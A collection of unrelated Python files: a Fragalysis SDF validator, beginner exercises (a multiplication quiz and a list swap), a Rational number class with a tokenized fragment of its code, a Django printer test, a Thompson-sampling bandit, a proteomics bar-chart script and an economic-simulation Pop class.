add_warning(molecule_name, field, warning_string, validate_dict): validate_dict["molecule_name"].append(molecule_name) validate_dict["field"].append(field) validate_dict["warning_string"].append(warning_string) return validate_dict def check_sdf(sdf_file, validate_dict): """ Checks if .sdf file can be read and follows naming format: 'compound-set_<name>.sdf' with <name> replaced with the name you wish to give it. e.g. compound-set_fragmenstein.sdf :sdf_file: is the sdf in the specified format :return: Updates validate dictionary with pass/fail message """ # Check filename if sdf_file.startswith("compound-set_") and sdf_file.endswith(".sdf") is False: validate_dict = add_warning( molecule_name="File error", field="_File_name", warning_string="illegal filename: " + str(sdf_file) + " found", validate_dict=validate_dict, ) return validate_dict def check_refmol(mol, validate_dict, target=None): if target: refmols = mol.GetProp("ref_mols").split(",") for ref in refmols: query = Protein.objects.filter(code__contains=target + "-" + ref.strip()) if len(query) == 0: validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field="ref_mol", warning_string="molecule for " + str(ref.strip()) + " does not exist in fragalysis (make sure the code is exactly as it appears in fragalysis - e.g. x0123_0)", validate_dict=validate_dict, ) return validate_dict def check_pdb(mol, validate_dict, target=None, zfile=None): """ Checks if .pdb file can be read :mol: rdkit mol read from SD file :return: Updates validate dictionary with pass/fail message """ # Check if pdb filepath given and exists test_fp = mol.GetProp("ref_pdb") # {'zip_obj': zf, 'zf_list': zip_names} if zfile: pdb_option = mol.GetProp("ref_pdb") # name = pdb_option.split('/')[-1] if zfile: if pdb_option not in zfile["zf_list"]: validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field="ref_pdb", warning_string="path " + str(pdb_option) + " can't be found in uploaded zip file (list: " + str(zfile["zf_list"]) + ")", validate_dict=validate_dict, ) # else: if target and not test_fp.endswith(".pdb"): query = Protein.objects.filter(code__contains=str(target + "-" + test_fp)) if len(query) == 0: validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field="ref_pdb", warning_string="pdb for " + str(test_fp) + " does not exist in fragalysis", validate_dict=validate_dict, ) return validate_dict def check_SMILES(mol, validate_dict): """ Checks if SMILES can be read by rdkit :mol: rdkit mol read from SD file :return: Updates validate dictionary with pass/fail message """ # Check SMILES smi_check = mol.GetProp("original SMILES") m = Chem.MolFromSmiles(smi_check, sanitize=False) if m is None: validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field="original SMILES", warning_string="invalid SMILES %s" % (smi_check,), validate_dict=validate_dict, ) return validate_dict def check_ver_name(blank_mol, version, validate_dict): """ Checks if blank mol: The name (title line) of this molecule should be the file format specification version e.g. ver_1.0 (as defined in this document) :blank_mol: rdkit mol of blank mol from an SD file :return: Updates validate dictionary with pass/fail message """ ver_name = blank_mol.GetProp("_Name") if ver_name != version: validate_dict = add_warning( molecule_name=blank_mol.GetProp("_Name"), field="_Name", warning_string="illegal version: %s found. Should be %s" % (ver_name, version), validate_dict=validate_dict, ) return validate_dict def check_blank_mol_props(mol, validate_dict): # check for compulsory fields in blank mols fields = ["ref_url", "submitter_name", "submitter_email", "submitter_institution", "generation_date", "method"] for field in fields: validate_dict = missing_field_check(mol, field, validate_dict) return validate_dict def check_blank_prop(blank_mol, validate_dict): """ Checks if blank mol properties have a description :blank_mol: rdkit mol of blank mol from an SD file :return: Updates validate dictionary with pass/fail message """ # Check if properties populated property_dict = blank_mol.GetPropsAsDict() # Properties to ignore prop_ignore_list = ["ref_mols", "ref_pdb"] for key, value in zip(property_dict.keys(), property_dict.values()): if value == "" and key not in prop_ignore_list: validate_dict = add_warning( molecule_name=blank_mol.GetProp("_Name"), field=key, warning_string="description for %s missing" % (key,), validate_dict=validate_dict, ) if key == "ref_url" and check_url(value) == False: validate_dict = add_warning( molecule_name=blank_mol.GetProp("_Name"), field=key, warning_string="illegal URL %s provided" % (value,), validate_dict=validate_dict, ) return validate_dict def check_field_populated(mol, validate_dict): """ Checks if all compulsory fields are populated: 1. ref_mols - a comma separated list of the fragments 2. ref_pdb - either (a) a filepath (relative to the sdf file) to an uploaded pdb file 3. original SMILES - the original smiles of the compound before any computation was carried out :mol: rdkit mol other than blank_mol :return: Updates validate dictionary with pass/fail message """ # Compuslory fields compulsory_fields = ["ref_pdb", "ref_mols", "original SMILES"] property_dict = mol.GetPropsAsDict() for key, value in zip(property_dict.keys(), property_dict.values()): if value == "" and key in compulsory_fields: validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field=key, warning_string="value for %s missing" % (key,), validate_dict=validate_dict, ) return validate_dict def check_url(value): """ Checks if url provided exists. No internet connection required. Checks URL using Validators package :value: value associated with 'ref_url' key :return: False if URL can not be validated """ valid = validators.url(value) if valid != True: return False def check_name_characters(name, validate_dict): legal_non_alnum = ["-", "_", "."] for char in name: if not char.isalnum() and char not in legal_non_alnum: validate_dict = add_warning( molecule_name=name, field="_Name", warning_string="illegal character %s found" % (char,), validate_dict=validate_dict, ) return validate_dict def missing_field_check(mol, field, validate_dict): props_dict = mol.GetPropsAsDict() if not field in props_dict.keys(): validate_dict = add_warning( molecule_name=mol.GetProp("_Name"), field=field, warning_string="%s field not found!" % (field,), validate_dict=validate_dict, ) return validate_dict def check_mol_props(mol, validate_dict): # check for missing fields fields = ["ref_pdb", "ref_mols", "original SMILES"] for field in fields: validate_dict = missing_field_check(mol, field, validate_dict) return validate_dict def validate(sdf_file, target=None, zfile=None): validated = True validate_dict = {"molecule_name": [], "field": [], "warning_string": []} # Check sdf filename & can be read validate_dict = check_sdf(sdf_file, validate_dict) suppl = Chem.SDMolSupplier(sdf_file) print("%d mols detected (including blank mol)" % (len(suppl),)) blank_mol = suppl[0] if blank_mol is None: validate_dict = add_warning( molecule_name="Blank Mol", field="N/A", warning_string="your blank molecule could not be read by rdkit. The molecule must have at least one atom! No other checks were done", validate_dict=validate_dict, ) validated = False return validate_dict, validated validate_dict = check_compound_set(blank_mol, validate_dict) other_mols = [] for i in range(1, len(suppl)): other_mols.append(suppl[i]) # all mol checks # - all mols have the same properties all_props = [] for mol in suppl: all_props.extend([key for key in mol.GetPropsAsDict().keys()]) unique_props = list(set(all_props)) for mol in suppl: props = [key for key in mol.GetPropsAsDict().keys()] diff_list = np.setdiff1d(props, unique_props) for diff in diff_list: add_warning( molecule_name=mol.GetProp("_Name"), field="property (missing)", warning_string="%s property is missing from this molecule" % (diff,), validate_dict=validate_dict, ) # Check version in blank mol validate_dict = check_ver_name(blank_mol, version, validate_dict) # Check compuslory fields in blank mol props validate_dict = check_blank_mol_props(blank_mol, validate_dict) # Check properties have been described and validate url validate_dict = check_blank_prop(blank_mol, validate_dict) # main mols checks # - missing compulsary fields # - check name characters # - check pdb assignment and if pdb filepath exists # - check compulsory field populated # - check SMILES can be opended by rdkit # (check api for pdb if fragalysis) for m in other_mols: validate_dict = check_mol_props(m, validate_dict) validate_dict = check_name_characters(m.GetProp("_Name"), validate_dict) validate_dict = check_pdb(m, validate_dict, target, zfile) validate_dict = check_refmol(m, validate_dict, target) validate_dict = check_field_populated(m, validate_dict) validate_dict = check_SMILES(m, validate_dict) if len(validate_dict["molecule_name"]) != 0: validated = False return validate_dict, validated
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48bc5d4b191fa631650b60240560dbece6396312
from random import randint cantidad = int(input("Numero de preguntas: ")) contador_bien = 0 contador_mal = 0 while cantidad <= 0: print("El numero de preguntas debe ser al menos 1") cantidad = int(input("Numero de preguntas: ")) for i in range(cantidad): numero = randint(2, 10) numero2 = randint(2, 10) aleatorio = int(input("¿Cuanto es %d * %d? " % (numero, numero2))) if numero * numero2 == aleatorio: print("Correcto") contador_bien = contador_bien + 1 else: print("Incorrecto") contador_mal = contador_mal + 1 print("Ha contestado bien", contador_bien, "preguntas") print("Ha contestado mal", contador_mal, "preguntas") nota = (contador_bien / cantidad) * 10 print("Le corresponde una nota de %.2f" % nota)
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18435f43e2f52e3d2e9ff6411f8dd0510d2da54d
a = eval(input("enter a list: ")) n = len(a) if n % 2 == 0: for i in range(0, n // 2): a[i], a[n // 2 + i] = a[n // 2 + i], a[i] print("after swap:", a) else: for i in range(0, n // 2): a[i], a[n // 2 + i + 1] = a[n // 2 + i + 1], a[i] print("after swap:", a)
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b1ab28a99fdcce66f0a1e4e25821073673f531cf
""" module rational number """ def _gcd(num_a, num_b): """ gratest common divisor """ if num_a == 0 or num_b == 0: raise ArithmeticError("gcd of zero") var_p = num_a var_q = num_b if var_p < var_q: var_p = num_b var_q = num_a var_r = var_p % var_q while var_r != 0: var_p = var_q var_q = var_r var_r = var_p % var_q return var_q class Rational(object): """ representing rational number """ def __init__(self, num, den): """ simple constructor """ if den == 0: raise ZeroDivisionError("division by zero") if num == 0: self._num = 0 self._den = 1 else: sign = 1 if num * den < 0: sign = -1 abs_num = abs(num) abs_den = abs(den) divisor = _gcd(abs_num, abs_den) self._num = sign * abs_num // divisor self._den = abs_den // divisor # def __add__(self, other): """ '+' operator """ # supported type for operand except Rational if isinstance(other, int): return Rational(self.num + self.den * other, self.den) if not isinstance(other, Rational): return NotImplemented return Rational(self.num * other.den + self.den * other.num, self.den * other.den) def __radd__(self, other): """ fallback of '+' operator """ if isinstance(other, int): return self.__add__(other) return NotImplemented # def __sub__(self, other): """ '-' binary operator """ # supported type for operand except Rational if isinstance(other, int): return Rational(self.num - self.den * other, self.den) if not isinstance(other, Rational): return NotImplemented return Rational(self.num * other.den - self.den * other.num, self.den * other.den) def __rsub__(self, other): """ fallback of '-' binary operator """ if isinstance(other, int): return self.__neg__().__add__(-other) return NotImplemented # def __mul__(self, other): """ '*' operator """ # supported type for operand except Rational if isinstance(other, int): return Rational(self.num * other, self.den) if not isinstance(other, Rational): return NotImplemented return Rational(self.num * other.num, self.den * other.den) def __rmul__(self, other): """ fallback of '*' operator """ return self.__mul__(other) # def __truediv__(self, other): """ '/' operator when '__future__.division' is in effect """ # supported type for operand except Rational if isinstance(other, int): if other == 0: raise ZeroDivisionError("division by zero") return Rational(self.num, self.den * other) if not isinstance(other, Rational): return NotImplemented if other == 0: raise ZeroDivisionError("division by zero") return Rational(self.num * other.den, self.den * other.num) def __rtruediv__(self, other): """ fallback of '/' operator when '__future__.division' is in effect """ if isinstance(other, int): return Rational(self.den * other, self.num) return NotImplemented # def __floordiv__(self, other): """ '//' operator """ return self.__truediv__(other) def __rfloordiv__(self, other): """ fallback of '//' operator """ return self.__rtruediv__(other) # def __div__(self, other): """ '/' operator """ return self.__truediv__(other) def __rdiv__(self, other): """ fallback of '/' operator """ return self.__rtruediv__(other) # def __mod__(self, other): """ '%' operator """ if isinstance(other, int): if other == 0: raise ZeroDivisionError("division by zero") return Rational(0, 1) if not isinstance(other, Rational): return NotImplemented if other == 0: raise ZeroDivisionError("division by zero") return Rational(0, 1) def __rmod__(self, other): """ fallback of '%' operator """ if self == Rational(0, 1): raise ZeroDivisionError("division by zero") return Rational(0, 1) # def __divmod__(self, other): """ 'divmod()' operation """ quot = self.__floordiv__(other) res = self.__mod__(other) if quot != NotImplemented and res != NotImplemented: return (quot, res) return NotImplemented def __rdivmod__(self, other): """ fallback of 'divmod()' operation """ quot = self.__rfloordiv__(other) res = self.__rmod__(other) if quot != NotImplemented and res != NotImplemented: return (quot, res) return NotImplemented # def __pos__(self): """ '+' unary operator """ return self # def __neg__(self): """ '-' unary operator """ return Rational(-1 * self.num, self.den) # def __abs__(self): """ absolute value """ return Rational(abs(self.num), self.den) # # "rich comparison" method def __lt__(self, other): """ '<' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den < 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den < 0 # def __le__(self, other): """ '<=' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den <= 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den <= 0 # def __eq__(self, other): """ '==' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den == 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den == 0 # def __ne__(self, other): """ '!=' or '<>' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den != 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den != 0 # def __gt__(self, other): """ '>' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den > 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den > 0 # def __ge__(self, other): """ '>=' operator """ # supported type for operand except Rational if isinstance(other, int): return self.num - other * self.den >= 0 if not isinstance(other, Rational): return NotImplemented return self.num * other.den - other.num * self.den >= 0 # def __hash__(self): """ calc hash value """ return hash((self.num, self.den)) # def __repr__(self): """ 'official' string representation """ return "<Rational: num=%d, den=%d>" % (self.num, self.den) # def __str__(self): """ 'informal' string representation """ ret = str(self.num) if self.den != 1: ret += "/" + str(self.den) return ret # def __bytes__(self): """ 'bytes()' operation """ return bytes(str(self), "utf8") # def __bool__(self): """ 'bool()' operation """ return self.num != 0 # def isinteger(self): """ Does this Rational instance represent integer? """ return self.den == 1 # def num(self): """ returns numerator of Rational """ return self.num # def den(self): """ returns denominator of Rational """ return self.den # @staticmethod def parse(string): """ parse string to Rational """ posslash = string.find("/") if posslash < 0: return Rational(int(string), 1) else: strs = string.split("/") return Rational(int(strs[0].strip()), int(strs[1].strip())) # ZERO = None ONE = None Rational.ZERO = Rational(0, 1) Rational.ONE = Rational(1, 1)
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"ĊĠĠĠĠĠĠĠ", "Ġif", "Ġnot", "Ġisinstance", "(", "other", ",", "ĠRational", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠNotImplemented", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠRational", "(", "self", ".", "num", "Ġ*", "Ġother", ".", "num", ",", "Ġself", ".", "den", "Ġ*", "Ġother", ".", "den", ")", "ĊĊĠĠĠ", "Ġdef", "Ġ__", "rm", "ul", "__(", "self", ",", "Ġother", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġfallback", "Ġof", "Ġ'*'", "Ġoperator", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", ".__", "mul", "__(", "other", ")", "ĊĊĠĠĠ", "Ġ#", "ĊĠĠĠ", "Ġdef", "Ġ__", "tr", "ued", "iv", "__(", "self", ",", "Ġother", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġ'/'", "Ġoperator", "Ġwhen", "Ġ'__", "future", "__.", "division", "'", "Ġis", "Ġin", "Ġeffect", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġ#", "Ġsupported", "Ġtype", "Ġfor", "Ġoperand", "Ġexcept", "ĠRational", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġisinstance", "(", "other", ",", "Ġint", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġother", "Ġ==", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġraise", 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5e0cba6952cdc677c640a0df325426ffc89189cd
# -*- coding: utf-8 -*- from django.test import TestCase from ..printer import Printer class TestSunlumoProjectPrinter(TestCase): def test_printer(self): sl_prj = Printer("./sunlumo_mapserver/test_data/test_sunlumo.qgs") tmpFile = "/tmp/printtmp" sl_prj.printToPdf( { "tmpFile": tmpFile, "layout": "test_layout", "bbox": [-2, -2, 2, 2], "layers": ["polygons", "lines", "points"], "transparencies": [50, 0, 0], } ) with open(tmpFile + ".pdf", "rb") as pdfFile: # we just want to test if the PDF file in not blank data = pdfFile.read() self.assertEqual(len(data), 426652) def test_printer_missing_required_params(self): sl_prj = Printer("./sunlumo_mapserver/test_data/test_sunlumo.qgs") with self.assertRaises(RuntimeError): sl_prj.printToPdf({})
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49df9db508637ce5914aa6591178a03c609b6bc7
import numpy as np import math import random from numpy.linalg import inv from scipy.optimize import minimize from Util import to_vector class TS_RLR: def __init__(self, alpha): self.d = 6 self.k = 6 self.alpha = alpha self.batch_size = 1000 self.training_size = 1000 self.impressions = 0 self.batch_ids = list([]) self.batch_clicks = np.array([]) self.articles_1_d = np.array([]) self.article_ids = dict() self.bad_articles = set() self.mu = np.zeros(self.d) self.q = self.alpha * np.ones(self.d) def sigmoid(self, x): # print(x) return 1.0 / (1.0 + math.exp(-x)) def add_new_article(self, line): article_id = int(line.split(" ")[0]) if article_id in self.bad_articles: return -1 if article_id not in self.article_ids: try: article = to_vector(line) except IndexError: self.bad_articles.add(article_id) return -1 self.article_ids[article_id] = len(self.article_ids) self.articles_1_d = np.append(self.articles_1_d, article).reshape([len(self.article_ids), self.d]) return article_id def to_minimize(self, w): return 1 / 2 * sum(self.q * (w - self.mu) * (w - self.mu)) + sum( np.log(1 + np.exp(-self.batch_clicks * w.dot(self.batch_articles))) ) def update(self, user, selected_article, click): self.impressions += 1 self.batch_ids.append(self.article_ids[selected_article]) self.batch_clicks = np.append(self.batch_clicks, click) if self.impressions % self.batch_size == 0: w = np.random.normal(0, 1, self.d) self.batch_articles = self.articles_1_d[self.batch_ids].reshape([self.d, self.batch_size]) res = minimize(self.to_minimize, w, method="nelder-mead", options={"xtol": 1e-8, "disp": False}) self.m = res.x p = 1 / (1 + np.exp(-self.m.dot(self.batch_articles))) for i in np.arange(0, self.d): self.q[i] += sum(self.batch_articles[i] * self.batch_articles[i] * p[i] * (1 - p[i])) self.batch_ids = list([]) self.batch_clicks = np.array([]) def warmup(self, file): pass def select(self, user, pre_selected_article, lines, total_impressions, click): selected_article = -1 warmup = False if self.impressions < self.training_size: for line in lines: self.add_new_article(line) self.update(user, pre_selected_article, click) selected_article = pre_selected_article warmup = True else: best_value = 0 best_value_articles = list() sample_w = np.random.multivariate_normal(self.mu, np.diag(1 / self.q)) for line in lines: article_id = self.add_new_article(line) if article_id == -1: continue a_id = self.article_ids[article_id] article = self.articles_1_d[a_id] cur_value = self.sigmoid(sample_w.dot(article)) if cur_value > best_value: best_value_articles = list([article_id]) best_value = cur_value elif cur_value == best_value: best_value_articles.append(article_id) index = random.randint(0, len(best_value_articles) - 1) selected_article = best_value_articles[index] return selected_article, warmup
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e08159a51b611ce6d0ca354a4fe6759d00af2cb7
import matplotlib.pyplot as plt file_list = [ "Quantification_comet_fdr.csv", "Quantification_crux_fdr.csv", "Quantification_msfg_fdr.csv", "Quantification_msfg_percolator.csv", ] file_titles = ["Comet", "Crux", "MSGFPlus", "MSGFPlus + Percolator"] protein_list = [] peptides_list = [] for file_name in file_list: proteins = 0 # n of proteins peptides = 0 for line_index, line in enumerate(open(file_name, "r")): if line_index > 3: # Proteins are listed after row 4 proteins += 1 peptides += int(line.split("\t")[3]) # n_peptides is in column 4 protein_list.append(proteins) peptides_list.append(peptides) print(f"{file_name} is done") plt.bar(file_titles, protein_list, color=["black", "red", "green", "blue", "cyan"], edgecolor="blue") plt.title("Comparing proteins found") plt.ylabel("Number of proteins matched") plt.tight_layout() # Fixes cut off labels plt.savefig("search_engines_proteins.png") plt.bar(file_titles, peptides_list, color=["black", "red", "green", "blue", "cyan"], edgecolor="blue") plt.title("Comparing amount of peptides matched") plt.ylabel("Total amount of peptides matched") plt.tight_layout() # Fixes cut off labels plt.savefig("search_engines_peptides.png")
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887a39f1eeb81e6472938c2451e57866d3ac4a45
import math from historia.utils import unique_id, position_in_range from historia.pops.models.inventory import Inventory from historia.economy.enums.resource import Good, NaturalResource from historia.economy.enums.order_type import OrderType from historia.economy.models.price_range import PriceRange from historia.economy.models.order import Order from historia.pops.enums.pop_job import PopJob DEBUG = False class Pop(object): """ A simulated unit of population """ def __init__(self, province, pop_job, population): """ Creates a new Pop. manager (Historia) province (SecondaryDivision) culture (Culture) religion (Religion) language (Language) job (Job) """ self.bankrupt_times = 0 self.home = province self.location = province self.id = unique_id("po") self.population = population self.population_yesterday = 0 self.pop_job = pop_job # ECONOMY self.money = pop_job.start_money self.money_yesterday = 0 self.bankrupt = False # set inventory and ideal amounts self.inventory = Inventory(pop_job.inventory_size) self.give_start_inventory() self.update_ideal_inventory() # a dictionary of Goods to PriceRanges # represents the price range the agent considers valid for each Good self.price_belief = {} # a dictionary of Goods to price list # represents the prices of the good that the Pop has observed # during the time they have been trading self.observed_trading_range = {} self.successful_trades = 0 self.failed_trades = 0 # make some fake initial data for good in Good.all(): avg_price = self.market.avg_historial_price(good, 15) # fake trades self.observed_trading_range[good] = [avg_price * 0.5, avg_price * 1.5] # generate fake price belief self.price_belief[good] = PriceRange(avg_price * 0.5, avg_price * 1.5) # Merchant logic self.trade_location = None # the province this Pop is traveling to self.trade_good = None # what good we're trading in right now self.trade_amount = 0 # amount of trade_good we should be trading self.trading_days = 0 # number of days waiting to trade # Generic Pop properties @property def social_class(self): return self.pop_job.social_class @property def market(self): "Get the market instance" return self.location.market @property def profit(self): "Determine today's profit" return self.money - self.money_yesterday @property def total_trades(self): "Total number of trades this Pop participated in" return self.successful_trades + self.failed_trades @property def trade_success(self): "Percent of trades that were successful" if self.total_trades == 0: return 0 return (self.successful_trades / self.total_trades) * 100 @property def is_away(self): "Is this Pop away from it's home?" return self.home is not self.location # Merchant specific logic def go_to_province(self, province): "Moves the Pop to another Province" self.location = province def decide_trade_plan(self): """ Decide what good to trade in and how much. Look for the most in demand good, or the most expensive good at the home Province Find a province near home province where its the cheapest and there's inventory """ self.trade_amount = 5 most_demanded_goods = self.home.market.goods_demand_ratio(day_range=1) most_demanded_goods = sorted(most_demanded_goods.items(), key=lambda i: i[1], reverse=True) # if we already had a trade good, refresh ideal inventory if self.trade_good: self.update_ideal_inventory() if DEBUG: print("Finding a Good to trade:") for good, demand in most_demanded_goods: if demand > 0: # find nearby provinces where this has inventory and the price is lower price_at_home = self.home.market.mean_price(good) if DEBUG: print("Good: {}, Demand: {}, Price: ${}".format(good.title, demand, price_at_home)) neighboring_markets = [p.market for p in self.location.owned_neighbors] neighboring_markets = [m for m in neighboring_markets if m.supply_for(good) > self.trade_amount] neighboring_markets.sort(key=lambda m: m.supply_for(good), reverse=True) if len(neighboring_markets) > 0: # we found places where this good is cheaper and in inventory target = neighboring_markets[0].location price_at_target = target.market.mean_price(good) # only trade with prices where we can make money if price_at_home > price_at_target: offset = 0 if good is Good.bread: offset = 1 self.inventory.set_ideal(good, self.trade_amount + offset) self.trade_location = target if DEBUG: print( "\tTarget: {}, Supply: {}, Price: ${}, Price at home: ${}".format( self.trade_location.name, self.trade_location.market.supply_for(good), self.trade_location.market.mean_price(good), price_at_home, ) ) self.trade_good = good return else: if DEBUG: print("\tPrice is higher at target (home: ${} target: ${})".format(price_at_home, price_at_target)) else: if DEBUG: print("\tNo markets selling {} found".format(good)) # Generic economic logic def update_ideal_inventory(self): "Update ideal inventory" # reset so that the Pop can sell the inventory it doesn't need for good in Good.all(): self.inventory.set_ideal(good, 0) # update ideal inventory for new Job for item in self.pop_job.ideal_inventory: self.inventory.set_ideal(item["good"], item["amount"]) def give_start_inventory(self): "Give the Pop the inventory it needs to do its job" for item in self.pop_job.start_inventory: self.inventory.add(item["good"], item["amount"]) def change_population(self, trade_success): "Change the population based off the trade" self.population_yesterday = self.population if trade_success: self.population += round(self.population * 0.01) else: self.population -= round(self.population * 0.002) def handle_bankruptcy(self, pop_job): "Change job, create money out of thin air, update ideal inventory" # TODO: stop creating money out of thin air self.pop_job = pop_job self.bankrupt_times += 1 self.money = 2 self.update_ideal_inventory() self.give_start_inventory() def perform_logic(self): "Depending on PopJob, perform logic (including production)" logic = self.pop_job.logic(self) logic.perform() def create_buy_order(self, good, limit): "Create a buy order for a given Good at a determined quantity" bid_price = self.determine_price_of(good) ideal = self.determine_buy_quantity(good) # can't buy more than limit quantity_to_buy = limit if ideal > limit else ideal if quantity_to_buy > 0: return Order(self, OrderType.buy_order, quantity_to_buy, bid_price, good) return False def create_sell_order(self, good, limit): "Create a sell order for a given Good at a determined quantity" sell_price = self.determine_price_of(good) ideal = self.determine_sell_quantity(good) # can't buy more than limit quantity_to_sell = limit if ideal < limit else ideal if quantity_to_sell > 0: return Order(self, OrderType.sell_order, quantity_to_sell, sell_price, good) return False def price_belief_for(self, good): "Gets the price belief this agent has for a particular Good" if good in self.price_belief: return self.price_belief[good] def determine_price_of(self, good): "Determine the price of a particular good" return self.price_belief_for(good).random() def trading_range_extremes(self, good): "Gets the lowest and highst price of a Good this agent has seen" trading_range = self.observed_trading_range[good] return PriceRange(min(trading_range), max(trading_range)) def determine_sell_quantity(self, good): "Determine how much inventory goods to sell based on market conditions" mean = self.market.avg_historial_price(good, 15) trading_range = self.trading_range_extremes(good) favoribility = position_in_range(mean, trading_range.low, trading_range.high) amount_to_sell = round(favoribility * self.inventory.surplus(good)) if amount_to_sell < 1: amount_to_sell = 1 return amount_to_sell def determine_buy_quantity(self, good): "Determine how much goods to buy based on market conditions" mean = self.market.avg_historial_price(good, 15) trading_range = self.trading_range_extremes(good) favoribility = 1 - position_in_range(mean, trading_range.low, trading_range.high) amount_to_buy = round(favoribility * self.inventory.shortage(good)) if amount_to_buy < 1: amount_to_buy = 1 return amount_to_buy def generate_orders(self, good): """ If the Pop needs a Good to perform production, buy it If the Pop has surplus Resources, sell them """ surplus = self.inventory.surplus(good) if surplus >= 1: # sell inventory # the original only old one item here sell_amount = surplus order = self.create_sell_order(good, surplus) if order: # print('{} sells {} {}'.format(self.pop_job.title, sell_amount, good.name)) self.market.sell(order) else: # buy more shortage = self.inventory.shortage(good) free_space = self.inventory.empty_space if shortage > 0: if shortage <= free_space: # enough space for ideal order limit = shortage else: # not enough space for ideal order limit = math.floor(free_space / shortage) if limit > 0: order = self.create_buy_order(good, limit) if order: # print('{} buys {} {}'.format(self.pop_job.title, limit, good.name)) self.market.buy(order) # else: # print("{} has no shortage of {} (has shortage: {})".format(self.pop_job.title, good.title, shortage)) def update_price_model(self, good, order_type, is_successful, clearing_price=0): """ Update the Pop's price model for the given resource good (Good) The Good which was orderd order_type (OrderType) Which kind of Order this was is_successful (bool) whether or not the Order was successful clearing_price (float) The price per unit of the good that was ordered as defined by the Pop which ordered it """ SIGNIFICANT = 0.25 # 25% more or less is "significant" SIG_IMBALANCE = 0.33 LOW_INVENTORY = 0.1 # 10% of ideal inventory = "LOW" HIGH_INVENTORY = 2.0 # 200% of ideal inventory = "HIGH" MIN_PRICE = 0.01 # lowest allowed price of a Good if is_successful: # add this trade to the observed trading range self.observed_trading_range[good].append(clearing_price) public_mean_price = self.market.mean_price(good) belief = self.price_belief[good] mean = belief.mean() wobble = 0.05 # the degree which the Pop should bid outside the belief # how different the public mean price is from the price belief delta_to_mean = mean - public_mean_price if is_successful: if order_type is OrderType.buy_order and delta_to_mean > SIGNIFICANT: # this Pop overpaid, shift belief towards mean belief.low -= delta_to_mean / 2 belief.high -= delta_to_mean / 2 elif order_type is OrderType.sell_order and delta_to_mean < -SIGNIFICANT: # this Pop underpaid!, shift belief towards mean belief.low -= delta_to_mean / 2 belief.high -= delta_to_mean / 2 # increase the belief's certainty belief.low += wobble * mean belief.high -= wobble * mean else: # shift towards mean belief.low -= delta_to_mean / 2 belief.high -= delta_to_mean / 2 # check for inventory special cases stocks = self.inventory.get_amount(good) ideal = self.inventory.get_ideal(good) # if we're buying and inventory is too low # meaning we're desperate to buy if order_type is OrderType.buy_order and stocks < LOW_INVENTORY * ideal: wobble *= 2 # if we're selling and inventory is too high # meaning we're desperate to sell elif order_type is OrderType.sell_order and stocks > HIGH_INVENTORY * ideal: wobble *= 2 # all other cases else: sells = self.market.history.sell_orders.average(good, 1) buys = self.market.history.buy_orders.average(good, 1) # TODO: figure out why this is sometimes 0 if sells + buys > 0: supply_vs_demand = (sells - buys) / (sells + buys) if supply_vs_demand > SIG_IMBALANCE or supply_vs_demand < -SIG_IMBALANCE: # too much supply? lower bid lower to sell faster # too much demand? raise price to buy faster new_mean = public_mean_price * (1 - supply_vs_demand) delta_to_mean = mean - new_mean # shift the price belief to the new price mean belief.low -= delta_to_mean / 2 belief.high -= delta_to_mean / 2 # decrease belief's certainty since we've just changed it (we could be wrong) belief.low -= wobble * mean belief.high += wobble * mean # make sure the price belief doesn't decrease below the minimum if belief.low < MIN_PRICE: belief.low = MIN_PRICE elif belief.high < MIN_PRICE: belief.high = MIN_PRICE # Python utility methods def __repr__(self): return "<Pop: id={} type={}>".format(self.id, self.pop_job.title) def __eq__(self, other): return self.id == other.id def __key__(self): return self.id def __hash__(self): return hash(self.__key__()) def export(self): model = { "pop_job": self.pop_job.ref(), "population": self.population, "population_yesterday": self.population_yesterday, "inventory": self.inventory.export(), "money": self.money, "money_yesterday": self.money_yesterday, "successful_trades": self.successful_trades, "failed_trades": self.failed_trades, "bankrupt_times": self.bankrupt_times, } if self.pop_job is PopJob.merchant: location_id = None if self.trade_location: location_id = self.trade_location.id model.update( { "location": self.location.id, "trade_location": location_id, "trade_good": self.trade_good, "trade_amount": self.trade_amount, } ) return model
